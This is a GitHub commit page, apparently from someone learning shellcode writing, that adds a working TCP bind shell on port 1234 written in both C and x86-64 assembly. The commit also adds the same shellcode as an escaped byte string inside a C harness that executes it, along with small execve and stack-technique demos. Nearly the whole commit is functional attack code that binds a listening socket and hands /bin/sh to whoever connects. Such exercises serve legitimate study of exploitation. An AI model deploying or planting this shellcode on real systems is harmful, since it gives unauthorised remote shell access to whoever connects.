Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly
Appearance settings

Commit 5ba6798

Browse filesBrowse files
author
rwx777
authored
Add files via upload
1 parent 247f19a commit 5ba6798
Copy full SHA for 5ba6798
Expand file treeCollapse file tree

9 files changed

+189
-0
lines changed

‎TCP_bind_Shell.c

Copy file name to clipboard
+29Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
#include <sys/socket.h>
2+
#include <sys/types.h>
3+
#include <stdlib.h>
4+
#include <unistd.h>
5+
#include <netinet/in.h>
6+
7+
int main(void) {
8+
9+
int clientfd, sockfd;
10+
int port = 1234;
11+
struct sockaddr_in mysockaddr;
12+
13+
sockfd = socket(AF_INET, SOCK_STREAM, 0);
14+
mysockaddr.sin_family = AF_INET; // can be represented in numeric as 2
15+
mysockaddr.sin_port = htons(port);
16+
mysockaddr.sin_addr.s_addr = INADDR_ANY; //can be represented in numeric as 0 which means bind to all interfaces
17+
18+
bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
19+
listen(sockfd, 1);
20+
21+
clientfd = accept(sockfd, NULL, NULL);
22+
dup2(clientfd, 0);
23+
dup2(clientfd, 1);
24+
dup2(clientfd, 2);
25+
char * const argv[] = {"sh",NULL,NULL};
26+
execve("/bin/sh",argv, NULL);
27+
return 0;
28+
}
29+

‎TCP_bind_Shell.nasm

Copy file name to clipboard
+86Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
global _start
2+
3+
section .text
4+
5+
_start:
6+
7+
;Socket syscall
8+
xor rax, rax
9+
add rax, 41
10+
xor rdi, rdi
11+
add rdi, 2 ;stands for IPv4
12+
xor rsi, rsi
13+
inc rsi ;1 stands for TCP
14+
xor rdx, rdx
15+
syscall
16+
17+
;Save the sockfd in RDI register
18+
mov rdi, rax
19+
20+
;Creating the structure
21+
xor rax, rax
22+
push rax
23+
push word 0xd204 ;port 1234
24+
push word 0x02 ; AF_INET
25+
;Bind syscall
26+
mov rsi, rsp
27+
xor rdx, rdx
28+
add rdx, 16
29+
xor rax, rax
30+
add rax, 49
31+
syscall
32+
33+
;Listen syscall
34+
xor rax, rax
35+
add rax, 50 ;Listen
36+
xor rsi, rsi
37+
inc rsi
38+
syscall
39+
40+
;Accept syscall
41+
xor rax, rax
42+
add rax, 43 ;Accept
43+
xor rsi, rsi
44+
xor rdx, rdx
45+
syscall
46+
47+
;Store clientfd in RBX register
48+
mov rbx, rax
49+
50+
;Dup2 syscall to stdin
51+
mov rdi, rbx
52+
xor rax, rax
53+
add rax, 33 ;Dup2
54+
xor rsi, rsi ; rsi = 0 stdin
55+
syscall
56+
57+
;Dup2 syscall to stdout
58+
xor rax, rax
59+
add rax, 33
60+
inc rsi ;rsi = 1 stdout
61+
syscall
62+
63+
;Dup2 syscall stderr
64+
xor rax, rax
65+
add rax, 33
66+
inc rsi ;rsi = 2 stderr
67+
syscall
68+
69+
;Execve syscall with /bin/sh
70+
xor rax, rax
71+
push rax
72+
mov rdx, rsp
73+
mov rbx, 0x68732f6e69622f2f
74+
push rbx
75+
mov rdi, rsp
76+
push rax
77+
push rdi
78+
mov rsi, rsp
79+
add rax, 59
80+
syscall
81+
82+
83+
84+
85+
86+

‎execve-ls.c

Copy file name to clipboard
+8Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
#include <unistd.h>
2+
3+
int main() {
4+
char * const argv[] = {"ls","/etc/",NULL};
5+
execve("/bin/ls",argv, NULL);
6+
return 0;
7+
}
8+

‎execve-sh.c

Copy file name to clipboard
+8Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
#include <unistd.h>
2+
3+
int main() {
4+
char * const argv[] = {"bash",NULL};
5+
execve("//bin/sh",argv, NULL);
6+
return 0;
7+
}
8+

‎execve-sh.nasm

Copy file name to clipboard
+16Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
global _start
2+
3+
section .text
4+
5+
_start:
6+
xor rax, rax
7+
push rax
8+
mov rdx, rsp
9+
mov rbx, 0x68732f6e69622f2f
10+
push rbx
11+
mov rdi, rsp
12+
push rax
13+
push rdi
14+
mov rsi, rsp
15+
add rax, 59
16+
syscall

‎execve.c

Copy file name to clipboard
+8Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
#include <unistd.h>
2+
3+
int main() {
4+
char * const argv[] = {"cat","/etc/issue",NULL};
5+
execve("/bin/cat",argv, NULL);
6+
return 0;
7+
}
8+

‎peda-session-jmp-call.txt

Copy file name to clipboard
+2Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
break _start
2+

‎shellcode-exec.c

Copy file name to clipboard
+12Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
#include <stdio.h>
2+
#include <string.h>
3+
4+
unsigned char code[] = "\x48\x31\xc0\x48\x83\xc0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\xff\xc6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\x66\x68\x04\xd2\x66\x6a\x02\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x48\x31\xc0\x48\x83\xc0\x31\x0f\x05\x48\x31\xc0\x48\x83\xc0\x32\x48\x31\xf6\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x2b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x48\x89\xc3\x48\x89\xdf\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
5+
6+
int main() {
7+
printf("Shellcode Length: %d\n", (int)strlen(code));
8+
int (*ret) () = (int(*) ())code;
9+
ret();
10+
}
11+
12+

‎stack-technique.nasm

Copy file name to clipboard
+20Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
global _start
2+
3+
section .text
4+
_start:
5+
xor rax, rax
6+
add rax, 1
7+
mov rdi, rax
8+
push 0x0a646c72
9+
mov rbx, 0x6f77206f6c6c6568
10+
push rbx
11+
mov rsi, rsp
12+
xor rdx, rdx
13+
add rdx, 12
14+
syscall
15+
16+
xor rax, rax
17+
add rax, 60
18+
xor rdi, rdi
19+
syscall
20+

0 commit comments

Comments
0 (0)
Morty Proxy This is a proxified and sanitized view of the page, visit original site.